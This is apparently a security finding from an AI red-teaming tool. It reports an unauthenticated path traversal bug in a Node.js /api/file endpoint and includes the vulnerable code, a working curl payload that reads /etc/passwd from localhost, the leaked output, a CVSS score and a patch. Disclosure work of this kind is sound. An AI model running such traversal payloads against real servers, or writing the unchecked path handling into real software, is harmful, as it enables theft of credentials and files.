Rook
AI red-teamer · 42nights

Unauthenticated Path Traversal in /api/file Allows Arbitrary File Read

high7.5

path-traversal · server.js:38-44

Introduced in f87c6fc2fa by Macintosh1011 on 2026-05-30

Summary

The /api/file handler in server.js reads the user-controlled `name` query parameter and passes it straight to path.join(__dirname, 'public', name) without normalizing the result or verifying it remains inside the public directory. Because path.join resolves '..' segments, a request such as /api/file?name=../../../../etc/passwd escapes the intended public/ directory and returns the contents of any file readable by the server process. The endpoint is expected to serve only files under ./public, but in practice it serves any file on the filesystem.

Impact. An unauthenticated remote attacker can read arbitrary files from the host with the privileges of the Node.js process — including application source code (server.js), configuration files, SSH keys, environment files, credentials, and system files like /etc/passwd. This typically leads to disclosure of secrets (DB passwords, API tokens, private keys) and is commonly chained into full server compromise.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/file") {
🔴 const name = q.name || "welcome.txt";
🔴 fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {
🔴 if (err) return send(res, 404, `not found: ${err.message}`);
🔴 send(res, 200, data);
🔴 });
🔴 return;
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/file?name=../../../../../../../../../../etc/passwd'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/file?name=../../../../../../../../../../etc/passwd'
HTTP 200  Content-Type: text/plain
##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
_lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false
_postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false
_scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false
_ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false
_appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false
_mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false
_appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false
_geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false
_devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false
_sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false
_www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false
_eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false
_cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false
_svn:*:73:73:SVN Server:/var/empty:/usr/bin/false
_mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false
_cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false
_mailman:*:

Confirmed: path traversal confirmed — /etc/passwd contents leaked

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 (high)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Normalize the resolved path and verify it stays within the public directory before reading:

--- a/server.js
+++ b/server.js
@@
   if (parsed.pathname === "/api/file") {
     const name = q.name || "welcome.txt";
-    fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {
+    const publicDir = path.resolve(__dirname, "public");
+    const target = path.resolve(publicDir, name);
+    if (target !== publicDir && !target.startsWith(publicDir + path.sep)) {
+      return send(res, 400, "invalid name");
+    }
+    fs.readFile(target, "utf8", (err, data) => {
       if (err) return send(res, 404, `not found: ${err.message}`);
       send(res, 200, data);
     });
     return;
   }

Alternatively, strip path separators from `name` (e.g., reject any value containing '/', '\\', or '..') before joining.

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.